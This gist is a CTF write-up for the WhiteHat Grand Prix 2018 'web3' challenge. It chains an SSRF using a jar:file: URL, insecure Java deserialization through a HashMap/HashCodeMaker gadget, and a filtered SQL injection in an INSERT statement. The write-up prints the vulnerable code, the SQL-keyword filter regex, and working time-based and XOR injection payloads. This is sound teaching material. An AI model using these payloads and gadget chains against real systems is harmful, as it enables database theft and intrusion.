Skip to content

Instantly share code, notes, and snippets.

@ducnhse130201
Last active June 15, 2019 08:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ducnhse130201/c41ee0690ab147ab3202ab385938c480 to your computer and use it in GitHub Desktop.
Save ducnhse130201/c41ee0690ab147ab3202ab385938c480 to your computer and use it in GitHub Desktop.
Short write-up and note for web3_whitehat_final_2018
[+] web3 whitehat_final short write-up [+]
[+] Read this first (write-up from author): https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91
[+] download this: https://docs.google.com/document/d/1VGLVi63DfIsopJSZJCFNDgz_2wPReAuvLNhDKR9JMH8/ and try to understand the code
[+] debug if you stuck somewhere or you can contact me :>
[+] If you want to rebuild the challenge contact me and i will give you source code
[+] short write-up [+]
[+] bug 1: ssrf on change avatar function (fetch from url or upload) => get resource from JarURLConnection, Refererence: https://docs.oracle.com/javase/7/docs/api/java/net/JarURLConnection.html
comment on login.jsp
<!--backup source at WebRoot/backup/backup.zip-->
<!--Try to get flag at WebRoot/secret.jsp-->
=> jar:file:/WebRoot/backup/backup.zip!/secret.jsp
=> get first flag and source code
<%
if (request.getSession().getAttribute("role") == null) {
response.sendRedirect("/login.jsp");
return;
}
if (!request.getSession().getAttribute("role").equals("1337")) {
response.sendRedirect("/login.jsp");
return;
}
%>
<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Secret page</title>
</head>
<body>
<h1>First flag: WhiteHat{f6d9c25797ffed2ddbe452675888ae16}</h1>
<h1>War file: https://docs.google.com/document/d/1VGLVi63DfIsopJSZJCFNDgz_2wPReAuvLNhDKR9JMH8/</h1>
</body>
</html>
[+] bug 2: java deserialization
[+] program flow:
login
=> checklogin
create csrf token (10 random chars) and set attribute session.setAttribute("random_text", random_text) (compare csrf token with random_text) , insert token to db, insert log to db, serialize Token object and set to Session, csrf token startwiths ("rO0")
Using filter to check csrf token (deserialization) ( @WebFilter(filterName = "CSRF_Filter", urlPatterns = {"/*"}) ) | Token t = DataUtils.getObject(req.getParameter("csrf_token"));
final T obj = (T) objectInputStream.readObject();
=> unsecure deserialization endpoint
[+] finding gadget
[+] logManager.jsp return list of Token to show for user
if (request.getSession().getAttribute("role") == null) {
response.sendRedirect("/login.jsp");
return;
}
Integer user_id = (Integer)session.getAttribute("user_id");
Logger logger = new Logger();
logger.setUser_id(user_id);
ArrayList<Logger> list = logger.getList(); // get list of logs to show
TokenManager tokenManager = new TokenManager();
Token token = new Token();
token.setUser_id(user_id);
tokenManager.setToken(token);
Collection collection = tokenManager.values();
ArrayList<Token> arrayList = new ArrayList<Token>(collection); // get list of tokens to show
[+] chain trigger sqli
[+] tokenManager.values()
=>
public Collection values() {
if (map != null && map.size() > 0){
return map.values();
}else{
return token.getList();
}
}
[+] token.getList()
=>
public ArrayList<Token> getList() {
ResultSet rs = null;
PreparedStatement pstmt = null;
ArrayList<Token> arrayList = new ArrayList<>();
try {
String select_query = String.format("select * from 9st0rm_token where user_id = %d order by id desc limit 8", user_id);
if (MysqlConnection.open()) {
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(select_query);
rs = pstmt.executeQuery();
while (rs.next()) {
Token tk = new Token();
tk.setId(rs.getInt("id"));
tk.setUser_id(rs.getInt("user_id"));
tk.setToken_value(rs.getString("token_value"));
arrayList.add(tk);
}
if (logger != null) {
if (StringUtils.isNotEmpty(logger.getEvent())) {
if (SecurityUtils.SQL_filter(logger.getEvent())){
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent());
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(insertLog_query);
pstmt.execute();
}else{
String mess = "filtered pattern = ([\\%#]|\\+|\\&|\\-|\\/\\/|into|>|<|file|case|group|order|offset|limit|and|xor|not|null|union|where|if|ascii|char|ord|case|when|div|mod)</br> Get flag from 9st0rm_s3cr3t";
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, mess);
pstmt = (PreparedStatement) MysqlConnection.cnn.prepareStatement(insertLog_query);
pstmt.execute();
}
}
}
}
} catch (Exception e) {
} finally {
MysqlConnection.close(pstmt, rs);
}
return arrayList;
}
[+] using java reflection control Logger properties => control logger.getEvent() => sqli insert query (string concatenation)
String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent())
=> get flag
[+] chain java deserialization
Question: jdk not check which class is deserialized, so which class is suitable for us to reach sqli chain?
?? how to reach tokenManager.values() ??
finding gadget like hashcode(), getKey(), getValue() in libraries of project using JDGUI (decompiler for jar file)
=> suitable gadget: public int hashCode() { return this.map.values().hashCode(); } in HashCodeMaker (commons-lang3-3.9.jar)
using Java Reflection API construct our payload with HashMap Object to trigger hashCode() in HashCodeMaker
HashMap hm = new HashMap();
hm.put(HashCodeMaker Object, "foo");
See more on readObject of HashMap class and debug to know how more
--- from readObject method of HashMap ---
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
=> call hash(key) => hash(HashCodeMaker)
=>
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
=> HashCodeMaker.hashCode() triggered
=> this.map.values().hashCode()
=> map.values() triggered
=> token.getList()
=> sqli insert query
=> get flag
[+] Payload
=> final gadget chain java deserialization to sqli => get flag
after login, each request go throgh csrf filter => intercept data => edit csrf token => inject serialized data
DataUtils.getObject(req.getParameter("csrf_token"));
objectInputStream.readObject(); // if you want to know how readObject work (debug more)
construct any Object from serialized data (due to jdk version), here's we want to construct HashMap
HashMap.readObject()
hash(key)
key.hashCode()
HashCodeMaker.hashCode()
this.map.values().hashCode()
token.getList()
sqli insert query
=> get flag
[+] bug 3: sqli in insert query
filtered pattern = ([\\%#]|\\+|\\&|\\-|\\/\\/|into|>|<|file|case|group|order|offset|limit|and|xor|not|null|union|where|if|ascii|char|ord|case|when|div|mod)
=> Get flag from 9st0rm_s3cr3t
Query: String insertLog_query = String.format("Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '%s')", user_id, logger.getEvent());
=> control logger.getEvent() from java deserialization
=> simple test:
logger.getEvent() = "1' ^ (SELECT sleep(5)) ^ '1"
=> query: "Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '1' ^ (SELECT sleep(5)) ^ '1')" => sleep 5 second
=> extract flag (convert char to num to ^ with 1), ascii,ord is filtered => use CONV(number, from_base, to_base) and HEX, conv(hex(extract_query_one_by_one_char),16,10)
logger.getEvent() = "1' ^ (SELECT CONV(HEX(SUBSTRING(flag,1,1)),16,10) FROM 9st0rm_s3cr3t) ^ '1"
=> query: "Insert into 9st0rm_logger (id, user_id, event) values (default,%d, '1' ^ (SELECT CONV(HEX(SUBSTRING(flag,1,1)),16,10) FROM 9st0rm_s3cr3t) ^ '1')"
Refererence: https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91
See also for:
https://www.guru99.com/java-reflection-api.html (Understanding java reflection API)
hhttps://nytrosecurity.com/2018/05/30/understanding-java-deserialization/ (some stuff for java deserialization)
https://web.archive.org/web/20190501081457/https://tint0.com/matesctf-2018-wutfaces-cve-2013-2165/ (practicing java deserialization and 1day analysis skills)
https://web.archive.org/web/20190501081357/https://tint0.com/when-el-injection-meets-java-deserialization/ (awesome oracle from deserialization exception to find suitable library, try it if you want)
https://github.com/frohoff/ysoserial (ysoserial chains)
System.out.println("Thanks for reading. Have a nice weekend !!!");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment